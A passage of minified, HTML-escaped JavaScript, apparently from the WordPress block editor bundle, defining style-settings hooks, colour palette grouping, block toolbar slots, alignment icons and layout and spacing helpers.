u,d;switch(n){case&quot;all&quot;:u=me(r,c),d=o?es(r,t,u):u;break;case&quot;user&quot;:u=me(s,c),d=o?es(r,t,u):u;break;case&quot;base&quot;:u=me(i,c),d=o?es(i,t,u):u;break;default:throw&quot;Unsupported source&quot;}return[d,n=&gt;{l((i=&gt;ge(i,c.split(&quot;.&quot;),o?function(e,t,n,o){if(!o)return o;const r=Xi[n],i=Yi.find((e=&gt;e.cssVarInfix===r));if(!i)return o;const{valueKey:s,path:l}=i,a=Ji(e,t,l,s,o);return a?`var:preset|${r}|${a.slug}`:o}(r.settings,t,e,n):n)))}]}function us(e,t,n){const{supportedStyles:o,supports:r}=(0,g.useSelect)((e=&gt;({supportedStyles:U(e(p.store)).getSupportedStyles(t,n),supports:e(p.store).getBlockType(t)?.supports})),[t,n]);return(0,h.useMemo)((()=&gt;{const t={...e};return o.includes(&quot;fontSize&quot;)||(t.typography={...t.typography,fontSizes:{},customFontSize:!1,defaultFontSizes:!1}),o.includes(&quot;fontFamily&quot;)||(t.typography={...t.typography,fontFamilies:{}}),t.color={...t.color,text:t.color?.text&amp;&amp;o.includes(&quot;color&quot;),background:t.color?.background&amp;&amp;(o.includes(&quot;background&quot;)||o.includes(&quot;backgroundColor&quot;)),button:t.color?.button&amp;&amp;o.includes(&quot;buttonColor&quot;),heading:t.color?.heading&amp;&amp;o.includes(&quot;headingColor&quot;),link:t.color?.link&amp;&amp;o.includes(&quot;linkColor&quot;),caption:t.color?.caption&amp;&amp;o.includes(&quot;captionColor&quot;)},o.includes(&quot;background&quot;)||(t.color.gradients=[],t.color.customGradient=!1),o.includes(&quot;filter&quot;)||(t.color.defaultDuotone=!1,t.color.customDuotone=!1),[&quot;lineHeight&quot;,&quot;fontStyle&quot;,&quot;fontWeight&quot;,&quot;letterSpacing&quot;,&quot;textAlign&quot;,&quot;textTransform&quot;,&quot;textDecoration&quot;,&quot;writingMode&quot;].forEach((e=&gt;{o.includes(e)||(t.typography={...t.typography,[e]:!1})})),o.includes(&quot;columnCount&quot;)||(t.typography={...t.typography,textColumns:!1}),[&quot;contentSize&quot;,&quot;wideSize&quot;].forEach((e=&gt;{o.includes(e)||(t.layout={...t.layout,[e]:!1})})),[&quot;padding&quot;,&quot;margin&quot;,&quot;blockGap&quot;].forEach((e=&gt;{o.includes(e)||(t.spacing={...t.spacing,[e]:!1});const n=Array.isArray(r?.spacing?.[e])?r?.spacing?.[e]:r?.spacing?.[e]?.sides;n?.length&amp;&amp;t.spacing?.[e]&amp;&amp;(t.spacing={...t.spacing,[e]:{...t.spacing?.[e],sides:n}})})),[&quot;aspectRatio&quot;,&quot;minHeight&quot;].forEach((e=&gt;{o.includes(e)||(t.dimensions={...t.dimensions,[e]:!1})})),[&quot;radius&quot;,&quot;color&quot;,&quot;style&quot;,&quot;width&quot;].forEach((e=&gt;{o.includes(&quot;border&quot;+e.charAt(0).toUpperCase()+e.slice(1))||(t.border={...t.border,[e]:!1})})),[&quot;backgroundImage&quot;,&quot;backgroundSize&quot;].forEach((e=&gt;{o.includes(e)||(t.background={...t.background,[e]:!1})})),t.shadow=!!o.includes(&quot;shadow&quot;)&amp;&amp;t.shadow,n&amp;&amp;(t.typography.textAlign=!1),t}),[e,o,r,n])}function ds(e){const t=e?.color?.palette?.custom,n=e?.color?.palette?.theme,o=e?.color?.palette?.default,r=e?.color?.defaultPalette;return(0,h.useMemo)((()=&gt;{const e=[];return n&amp;&amp;n.length&amp;&amp;e.push({name:(0,T._x)(&quot;Theme&quot;,&quot;Indicates this palette comes from the theme.&quot;),colors:n}),r&amp;&amp;o&amp;&amp;o.length&amp;&amp;e.push({name:(0,T._x)(&quot;Default&quot;,&quot;Indicates this palette comes from WordPress.&quot;),colors:o}),t&amp;&amp;t.length&amp;&amp;e.push({name:(0,T._x)(&quot;Custom&quot;,&quot;Indicates this palette is created by the user.&quot;),colors:t}),e}),[t,n,o,r])}function ps(e){const t=e?.color?.gradients?.custom,n=e?.color?.gradients?.theme,o=e?.color?.gradients?.default,r=e?.color?.defaultGradients;return(0,h.useMemo)((()=&gt;{const e=[];return n&amp;&amp;n.length&amp;&amp;e.push({name:(0,T._x)(&quot;Theme&quot;,&quot;Indicates this palette comes from the theme.&quot;),gradients:n}),r&amp;&amp;o&amp;&amp;o.length&amp;&amp;e.push({name:(0,T._x)(&quot;Default&quot;,&quot;Indicates this palette comes from WordPress.&quot;),gradients:o}),t&amp;&amp;t.length&amp;&amp;e.push({name:(0,T._x)(&quot;Custom&quot;,&quot;Indicates this palette is created by the user.&quot;),gradients:t}),e}),[t,n,o,r])}function hs(e){var t,n,o=&quot;&quot;;if(&quot;string&quot;==typeof e||&quot;number&quot;==typeof e)o+=e;else if(&quot;object&quot;==typeof e)if(Array.isArray(e)){var r=e.length;for(t=0;t&lt;r;t++)e[t]&amp;&amp;(n=hs(e[t]))&amp;&amp;(o&amp;&amp;(o+=&quot; &quot;),o+=n)}else for(n in e)e[n]&amp;&amp;(o&amp;&amp;(o+=&quot; &quot;),o+=n);return o}const gs=function(){for(var e,t,n=0,o=&quot;&quot;,r=arguments.length;n&lt;r;n++)(e=arguments[n])&amp;&amp;(t=hs(e))&amp;&amp;(o&amp;&amp;(o+=&quot; &quot;),o+=t);return o},ms=e=&gt;{if(null===e||&quot;object&quot;!=typeof e||Array.isArray(e))return e;const t=Object.entries(e).map((([e,t])=&gt;[e,ms(t)])).filter((([,e])=&gt;void 0!==e));return t.length?Object.fromEntries(t):void 0};function fs(e,t,n,o,r,i){if(Object.values(e??{}).every((e=&gt;!e)))return n;if(1===i.length&amp;&amp;n.innerBlocks.length===o.length)return n;let s=o[0]?.attributes;if(i.length&gt;1&amp;&amp;o.length&gt;1){if(!o[r])return n;s=o[r]?.attributes}let l=n;return Object.entries(e).forEach((([e,n])=&gt;{n&amp;&amp;t[e].forEach((e=&gt;{const t=me(s,e);t&amp;&amp;(l={...l,attributes:ge(l.attributes,e,t)})}))})),l}function bs(e,t,n){const o=(0,p.getBlockSupport)(e,t),r=o?.__experimentalSkipSerialization;return Array.isArray(r)?r.includes(n):r}const ks=new WeakMap;function vs({id:e,css:t}){return _s({id:e,css:t})}function _s({id:e,css:t,assets:n,__unstableType:o,variation:r,clientId:i}={}){const{setStyleOverride:s,deleteStyleOverride:l}=U((0,g.useDispatch)(Ii)),a=(0,g.useRegistry)(),c=(0,h.useId)();(0,h.useEffect)((()=&gt;{if(!t&amp;&amp;!n)return;const u=e||c,d={id:e,css:t,assets:n,__unstableType:o,variation:r,clientId:i};return ks.get(a)||ks.set(a,[]),ks.get(a).push([u,d]),window.queueMicrotask((()=&gt;{ks.get(a)?.length&amp;&amp;a.batch((()=&gt;{ks.get(a).forEach((e=&gt;{s(...e)})),ks.set(a,[])}))})),()=&gt;{const e=ks.get(a)?.find((([e])=&gt;e===u));e?ks.set(a,ks.get(a).filter((([e])=&gt;e!==u))):l(u)}}),[e,t,i,n,o,c,s,l,a])}function ys(e,t){const[n,o,r,i,s,l,a,c,u,d,p,g,m,f,b,k,v,_,y,x,S,w,C,B,I,j,E,T,M,P,R,A,N,L,D,O,z,V,F,H,U,G,$,W,K,Z,q,Y,X,Q,J,ee,te,ne,oe,re,ie]=Ei(&quot;background.backgroundImage&quot;,&quot;background.backgroundSize&quot;,&quot;typography.fontFamilies.custom&quot;,&quot;typography.fontFamilies.default&quot;,&quot;typography.fontFamilies.theme&quot;,&quot;typography.defaultFontSizes&quot;,&quot;typography.fontSizes.custom&quot;,&quot;typography.fontSizes.default&quot;,&quot;typography.fontSizes.theme&quot;,&quot;typography.customFontSize&quot;,&quot;typography.fontStyle&quot;,&quot;typography.fontWeight&quot;,&quot;typography.lineHeight&quot;,&quot;typography.textAlign&quot;,&quot;typography.textColumns&quot;,&quot;typography.textDecoration&quot;,&quot;typography.writingMode&quot;,&quot;typography.textTransform&quot;,&quot;typography.letterSpacing&quot;,&quot;spacing.padding&quot;,&quot;spacing.margin&quot;,&quot;spacing.blockGap&quot;,&quot;spacing.defaultSpacingSizes&quot;,&quot;spacing.customSpacingSize&quot;,&quot;spacing.spacingSizes.custom&quot;,&quot;spacing.spacingSizes.default&quot;,&quot;spacing.spacingSizes.theme&quot;,&quot;spacing.units&quot;,&quot;dimensions.aspectRatio&quot;,&quot;dimensions.minHeight&quot;,&quot;layout&quot;,&quot;border.color&quot;,&quot;border.radius&quot;,&quot;border.style&quot;,&quot;border.width&quot;,&quot;border.radiusSizes&quot;,&quot;color.custom&quot;,&quot;color.palette.custom&quot;,&quot;color.customDuotone&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.default&quot;,&quot;color.defaultPalette&quot;,&quot;color.defaultDuotone&quot;,&quot;color.duotone.custom&quot;,&quot;color.duotone.theme&quot;,&quot;color.duotone.default&quot;,&quot;color.gradients.custom&quot;,&quot;color.gradients.theme&quot;,&quot;color.gradients.default&quot;,&quot;color.defaultGradients&quot;,&quot;color.customGradient&quot;,&quot;color.background&quot;,&quot;color.link&quot;,&quot;color.text&quot;,&quot;color.heading&quot;,&quot;color.button&quot;,&quot;shadow&quot;);return us((0,h.useMemo)((()=&gt;({background:{backgroundImage:n,backgroundSize:o},color:{palette:{custom:V,theme:H,default:U},gradients:{custom:q,theme:Y,default:X},duotone:{custom:W,theme:K,default:Z},defaultGradients:Q,defaultPalette:G,defaultDuotone:$,custom:z,customGradient:J,customDuotone:F,background:ee,link:te,heading:oe,button:re,text:ne},typography:{fontFamilies:{custom:r,default:i,theme:s},fontSizes:{custom:a,default:c,theme:u},customFontSize:d,defaultFontSizes:l,fontStyle:p,fontWeight:g,lineHeight:m,textAlign:f,textColumns:b,textDecoration:k,textTransform:_,letterSpacing:y,writingMode:v},spacing:{spacingSizes:{custom:I,default:j,theme:E},customSpacingSize:B,defaultSpacingSizes:C,padding:x,margin:S,blockGap:w,units:T},border:{color:A,radius:N,style:L,width:D,radiusSizes:O},dimensions:{aspectRatio:M,minHeight:P},layout:R,parentLayout:t,shadow:ie})),[n,o,r,i,s,l,a,c,u,d,p,g,m,f,b,k,_,y,v,x,S,w,C,B,I,j,E,T,M,P,R,t,A,N,L,D,O,z,V,F,H,U,G,$,W,K,Z,q,Y,X,Q,J,ee,te,ne,oe,re,ie]),e)}const xs=(0,h.memo)((function({index:e,useBlockProps:t,setAllWrapperProps:n,...o}){const r=t(o),i=t=&gt;n((n=&gt;{const o=[...n];return o[e]=t,o}));return(0,h.useEffect)((()=&gt;(i(r),()=&gt;{i(void 0)}))),null}));(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/compat/migrateLightBlockWrapper&quot;,(function(e){const{apiVersion:t=1}=e;return t&lt;2&amp;&amp;(0,p.hasBlockSupport)(e,&quot;lightBlockWrapper&quot;,!1)&amp;&amp;(e.apiVersion=2),e}));const Ss=window.wp.components;var ws={default:(0,Ss.createSlotFill)(&quot;BlockControls&quot;),block:(0,Ss.createSlotFill)(&quot;BlockControlsBlock&quot;),inline:(0,Ss.createSlotFill)(&quot;BlockFormatControls&quot;),other:(0,Ss.createSlotFill)(&quot;BlockControlsOther&quot;),parent:(0,Ss.createSlotFill)(&quot;BlockControlsParent&quot;)};function Cs({group:e=&quot;default&quot;,controls:t,children:n,__experimentalShareWithChildBlocks:o=!1}){const r=function(e,t){const n=C();return n[b]?ws[e]?.Fill:n[k]&amp;&amp;t?ws.parent.Fill:null}(e,o);if(!r)return null;const i=(0,d.jsxs)(d.Fragment,{children:[&quot;default&quot;===e&amp;&amp;(0,d.jsx)(Ss.ToolbarGroup,{controls:t}),n]});return(0,d.jsx)(Ss.__experimentalStyleProvider,{document,children:(0,d.jsx)(r,{children:e=&gt;{const{forwardedContext:t=[]}=e;return t.reduce(((e,[t,n])=&gt;(0,d.jsx)(t,{...n,children:e})),i)}})})}const Bs=window.wp.warning;var Is=n.n(Bs);const{ComponentsContext:js}=U(Ss.privateApis);function Es({group:e=&quot;default&quot;,...t}){const n=(0,h.useContext)(Ss.__experimentalToolbarContext),o=(0,h.useContext)(js),r=(0,h.useMemo)((()=&gt;({forwardedContext:[[Ss.__experimentalToolbarContext.Provider,{value:n}],[js.Provider,{value:o}]]})),[n,o]),i=ws[e],s=(0,Ss.__experimentalUseSlotFills)(i.name);if(!i)return Is()(`Unknown BlockControls group &quot;${e}&quot; provided.`),null;if(!s?.length)return null;const{Slot:l}=i,a=(0,d.jsx)(l,{...t,bubblesVirtually:!0,fillProps:r});return&quot;default&quot;===e?a:(0,d.jsx)(Ss.ToolbarGroup,{children:a})}const Ts=Cs;Ts.Slot=Es;const Ms=e=&gt;(0,d.jsx)(Cs,{group:&quot;inline&quot;,...e});Ms.Slot=e=&gt;(0,d.jsx)(Es,{group:&quot;inline&quot;,...e});var Ps=Ts,Rs=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M9 9v6h11V9H9zM4 20h1.5V4H4v16z&quot;})}),As=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M12.5 15v5H11v-5H4V9h7V4h1.5v5h7v6h-7Z&quot;})}),Ns=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M4 15h11V9H4v6zM18.5 4v16H20V4h-1.5z&quot;})}),Ls=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M9 15h6V9H9v6zm-5 5h1.5V4H4v16zM18.5 4v16H20V4h-1.5z&quot;})}),Ds=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M4 4H5.5V20H4V4ZM7 10L17 10V14L7 14V10ZM20 4H18.5V20H20V4Z&quot;})}),Os=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z&quot;})}),zs=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;m16.5 13.5-3.7 3.7V4h-1.5v13.2l-3.8-3.7-1 1 5.5 5.6 5.5-5.6z&quot;})});const Vs={default:{name:&quot;default&quot;,slug:&quot;flow&quot;,className:&quot;is-layout-flow&quot;,baseStyles:[{selector:&quot; &gt; .alignleft&quot;,rules:{float:&quot;left&quot;,&quot;margin-inline-start&quot;:&quot;0&quot;,&quot;margin-inline-end&quot;:&quot;2em&quot;}},{selector:&quot; &gt; .alignright&quot;,rules:{float:&quot;right&quot;,&quot;margin-inline-start&quot;:&quot;2em&quot;,&quot;margin-inline-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; .aligncenter&quot;,rules:{&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}}],spacingStyles:[{selector:&quot; &gt; :first-child&quot;,rules:{&quot;margin-block-start&quot;:&quot;0&quot;}},{selector:&quot; &gt; :last-child&quot;,rules:{&quot;margin-block-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; *&quot;,rules:{&quot;margin-block-start&quot;:null,&quot;margin-block-end&quot;:&quot;0&quot;}}]},constrained:{name:&quot;constrained&quot;,slug:&quot;constrained&quot;,className:&quot;is-layout-constrained&quot;,baseStyles:[{selector:&quot; &gt; .alignleft&quot;,rules:{float:&quot;left&quot;,&quot;margin-inline-start&quot;:&quot;0&quot;,&quot;margin-inline-end&quot;:&quot;2em&quot;}},{selector:&quot; &gt; .alignright&quot;,rules:{float:&quot;right&quot;,&quot;margin-inline-start&quot;:&quot;2em&quot;,&quot;margin-inline-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; .aligncenter&quot;,rules:{&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}},{selector:&quot; &gt; :where(:not(.alignleft):not(.alignright):not(.alignfull))&quot;,rules:{&quot;max-width&quot;:&quot;var(--wp--style--global--content-size)&quot;,&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}},{selector:&quot; &gt; .alignwide&quot;,rules:{&quot;max-width&quot;:&quot;var(--wp--style--global--wide-size)&quot;}}],spacingStyles:[{selector:&quot; &gt; :first-child&quot;,rules:{&quot;margin-block-start&quot;:&quot;0&quot;}},{selector:&quot; &gt; :last-child&quot;,rules:{&quot;margin-block-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; *&quot;,rules:{&quot;margin-block-start&quot;:null,&quot;margin-block-end&quot;:&quot;0&quot;}}]},flex:{name:&quot;flex&quot;,slug:&quot;flex&quot;,className:&quot;is-layout-flex&quot;,displayMode:&quot;flex&quot;,baseStyles:[{selector:&quot;&quot;,rules:{&quot;flex-wrap&quot;:&quot;wrap&quot;,&quot;align-items&quot;:&quot;center&quot;}},{selector:&quot; &gt; :is(*, div)&quot;,rules:{margin:&quot;0&quot;}}],spacingStyles:[{selector:&quot;&quot;,rules:{gap:null}}]},grid:{name:&quot;grid&quot;,slug:&quot;grid&quot;,className:&quot;is-layout-grid&quot;,displayMode:&quot;grid&quot;,baseStyles:[{selector:&quot; &gt; :is(*, div)&quot;,rules:{margin:&quot;0&quot;}}],spacingStyles:[{selector:&quot;&quot;,rules:{gap:null}}]}};function Fs(e,t=&quot;&quot;){return e.split(&quot;,&quot;).map((e=&gt;`${e}${t?` ${t}`:&quot;&quot;}`)).join(&quot;,&quot;)}function Hs(e,t=Vs,n,o){let r=&quot;&quot;;return t?.[n]?.spacingStyles?.length&amp;&amp;o&amp;&amp;t[n].spacingStyles.forEach((t=&gt;{r+=`${Fs(e,t.selector.trim())} { `,r+=Object.entries(t.rules).map((([e,t])=&gt;`${e}: ${t||o}`)).join(&quot;; &quot;),r+=&quot;; }&quot;})),r}function Us(e){const{contentSize:t,wideSize:n,type:o=&quot;default&quot;}=e,r={},i=/^(?!0)\d+(px|em|rem|vw|vh|%|svw|lvw|dvw|svh|lvh|dvh|vi|svi|lvi|dvi|vb|svb|lvb|dvb|vmin|svmin|lvmin|dvmin|vmax|svmax|lvmax|dvmax)?$/i;return i.test(t)&amp;&amp;&quot;constrained&quot;===o&amp;&amp;(r.none=(0,T.sprintf)((0,T.__)(&quot;Max %s wide&quot;),t)),i.test(n)&amp;&amp;(r.wide=(0,T.sprintf)((0,T.__)(&quot;Max %s wide&quot;),n)),r}var Gs=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;})}),$s=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,d.jsx)(ce.Path,{d:&quot;m4.5 7.5v9h1.5v-9z&quot;}),(0,d.jsx)(ce.Path,{d:&quot;m18 7.5v9h1.5v-9z&quot;})]}),Ws=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,d.jsx)(ce.Path,{d:&quot;m7.5 6h9v-1.5h-9z&quot;}),(0,d.jsx)(ce.Path,{d:&quot;m7.5 19.5h9v-1.5h-9z&quot;})]}),Ks=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,d.jsx)(ce.Path,{d:&quot;m16.5 6h-9v-1.5h9z&quot;})]}),Zs=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,d.jsx)(ce.Path,{d:&quot;m18 16.5v-9h1.5v9z&quot;})]}),qs=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,d.jsx)(ce.Path,{d:&quot;m16.5 19.5h-9v-1.5h9z&quot;})]}),Ys=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.Path,{d:&quot;m7.5 6h9v-1.5h-9zm0 13.5h9v-1.5h-9zm-3-3h1.5v-9h-1.5zm13.5-9v9h1.5v-9z&quot;,style:{opacity:.25}}),(0,d.jsx)(ce.Path,{d:&quot;m4.5 16.5v-9h1.5v9z&quot;})]});const Xs=8,Qs=[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;],Js={top:void 0,right:void 0,bottom:void 0,left:void 0},el={custom:Gs,axial:Gs,horizontal:$s,vertical:Ws,top:Ks,right:Zs,bottom:qs,left:Ys},tl={default:(0,T.__)(&quot;Spacing control&quot;),top:(0,T.__)(&quot;Top&quot;),bottom:(0,T.__)(&quot;Bottom&quot;),left:(0,T.__)(&quot;Left&quot;),right:(0,T.__)(&quot;Right&quot;),mixed:(0,T.__)(&quot;Mixed&quot;),vertical:(0,T.__)(&quot;Vertical&quot;),horizontal:(0,T.__)(&quot;Horizontal&quot;),axial:(0,T.__)(&quot;Horizontal &amp; vertical&quot;),custom:(0,T.__)(&quot;Custom&quot;)},nl={axial:&quot;axial&quot;,top:&quot;top&quot;,right:&quot;right&quot;,bottom:&quot;bottom&quot;,left:&quot;left&quot;,custom:&quot;custom&quot;};function ol(e){return!!e?.includes&amp;&amp;(&quot;0&quot;===e||e.includes(&quot;var:preset|spacing|&quot;))}function rl(e,t){if(!ol(e))return e;const n=ll(e),o=t.find((e=&gt;String(e.slug)===n));return o?.size}function il(e,t){if(!e||ol(e)||&quot;0&quot;===e)return e;const n=t.find((t=&gt;String(t.size)===String(e)));return n?.slug?`var:preset|spacing|${n.slug}`:e}function sl(e){if(!e)return;const t=e.match(/var:preset\|spacing\|(.+)/);return t?`var(--wp--preset--spacing--${t[1]})`:e}function ll(e){if(!e)return;if(&quot;0&quot;===e||&quot;default&quot;===e)return e;const t=e.match(/var:preset\|spacing\|(.+)/);return t?t[1]:void 0}function al(e,t){if(!e||!e.length)return!1;const n=e.includes(&quot;horizontal&quot;)||e.includes(&quot;left&quot;)&amp;&amp;e.includes(&quot;right&quot;),o=e.includes(&quot;vertical&quot;)||e.includes(&quot;top&quot;)&amp;&amp;e.includes(&quot;bottom&quot;);return&quot;horizontal&quot;===t?n:&quot;vertical&quot;===t?o:n||o}function cl(e,t=&quot;0&quot;){const n=function(e){if(!e)return null;const t=&quot;string&quot;==typeof e;return{top:t?e:e?.top,left:t?e:e?.left}}(e);if(!n)return null;const o=sl(n?.top)||t,r=sl(n?.left)||t;return o===r?o:`${o} ${r}`}var ul=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M9 20h6V9H9v11zM4 4v1.5h16V4H4z&quot;})}),dl=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M20 11h-5V4H9v7H4v1.5h5V20h6v-7.5h5z&quot;})}),pl=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M15 4H9v11h6V4zM4 18.5V20h16v-1.5H4z&quot;})}),hl=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M4 4L20 4L20 5.5L4 5.5L4 4ZM10 7L14 7L14 17L10 17L10 7ZM20 18.5L4 18.5L4 20L20 20L20 18.5Z&quot;})}),gl=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M7 4H17V8L7 8V4ZM7 16L17 16V20L7 20V16ZM20 11.25H4V12.75H20V11.25Z&quot;})});const ml={top:{icon:ul,title:(0,T._x)(&quot;Align top&quot;,&quot;Block vertical alignment setting&quot;)},center:{icon:dl,title:(0,T._x)(&quot;Align middle&quot;,&quot;Block vertical alignment setting&quot;)},bottom:{icon:pl,title:(0,T._x)(&quot;Align bottom&quot;,&quot;Block vertical alignment setting&quot;)},stretch:{icon:hl,title:(0,T._x)(&quot;Stretch to fill&quot;,&quot;Block vertical alignment setting&quot;)},&quot;space-between&quot;:{icon:gl,title:(0,T._x)(&quot;Space between&quot;,&quot;Block vertical alignment setting&quot;)}},fl=[&quot;top&quot;,&quot;center&quot;,&quot;bottom&quot;];var bl=function({value:e,onChange:t,controls:n=fl,isCollapsed:o=!0,isToolbar:r}){const i=ml[e],s=ml.top,l=r?Ss.ToolbarGroup:Ss.ToolbarDropdownMenu,a=r?{isCollapsed:o}:{};return(0,d.jsx)(l,{icon:i?i.icon:s.icon,label:(0,T._x)(&quot;Change vertical alignment&quot;,&quot;Block vertical alignment setting label&quot;),controls:n.map((n=&gt;{return{...ml[n],isActive:e===n,role:o?&quot;menuitemradio&quot;:void 0,onClick:(r=n,()=&gt;t(e===r?void 0:r))};var r})),...a})};const kl=e=&gt;(0,d.jsx)(bl,{...e,isToolbar:!1}),vl=e=&gt;(0,d.jsx)(bl,{...e,isToolbar:!0}),_l={left:Rs,center:As,right:Ns,&quot;space-between&quot;:Ls,stretch:Ds};var yl=function({allowedControls:e=[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;,&quot;space-between&quot;],isCollapsed:t=!0,onChange:n,value:o,popoverProps:r,isToolbar:i}){const s=e=&gt;{n(e===o?void 0:e)},l=o?_l[o]:_l.left,a=[{name:&quot;left&quot;,icon:Rs,title:(0,T.__)(&quot;Justify items left&quot;),isActive:&quot;left&quot;===o,onClick:()=&gt;s(&quot;left&quot;)},{name:&quot;center&quot;,icon:As,title:(0,T.__)(&quot;Justify items center&quot;),isActive:&quot;center&quot;===o,onClick:()=&gt;s(&quot;center&quot;)},{name:&quot;right&quot;,icon:Ns,title:(0,T.__)(&quot;Justify items right&quot;),isActive:&quot;right&quot;===o,onClick:()=&gt;s(&quot;right&quot;)},{name:&quot;space-between&quot;,icon:Ls,title:(0,T.__)(&quot;Space between items&quot;),isActive:&quot;space-between&quot;===o,onClick:()=&gt;s(&quot;space-between&quot;)},{name:&quot;stretch&quot;,icon:Ds,title:(0,T.__)(&quot;Stretch items&quot;),isActive:&quot;stretch&quot;===o,onClick:()=&gt;s(&quot;stretch&quot;)}],c=i?Ss.ToolbarGroup:Ss.ToolbarDropdownMenu,u=i?{isCollapsed:t}:{};return(0,d.jsx)(c,{icon:l,popoverProps:r,label:(0,T.__)(&quot;Change items justification&quot;),controls:a.filter((t=&gt;e.includes(t.name))),...u})};const xl=e=&gt;(0,d.jsx)(yl,{...e,isToolbar:!1}),Sl=e=&gt;(0,d.jsx)(yl,{...e,isToolbar:!0}),wl={left:&quot;flex-start&quot;,right:&quot;flex-end&quot;,center:&quot;center&quot;,&quot;space-between&quot;:&quot;space-between&quot;},Cl={left:&quot;flex-start&quot;,right:&quot;flex-end&quot;,center:&quot;center&quot;,stretch:&quot;stretch&quot;},Bl={top:&quot;flex-start&quot;,center:&quot;center&quot;,bottom:&quot;flex-end&quot;,stretch:&quot;stretch&quot;,&quot;space-between&quot;:&quot;space-between&quot;},Il=&quot;center&quot;,jl=&quot;top&quot;,El=[&quot;wrap&quot;,&quot;nowrap&quot;];var 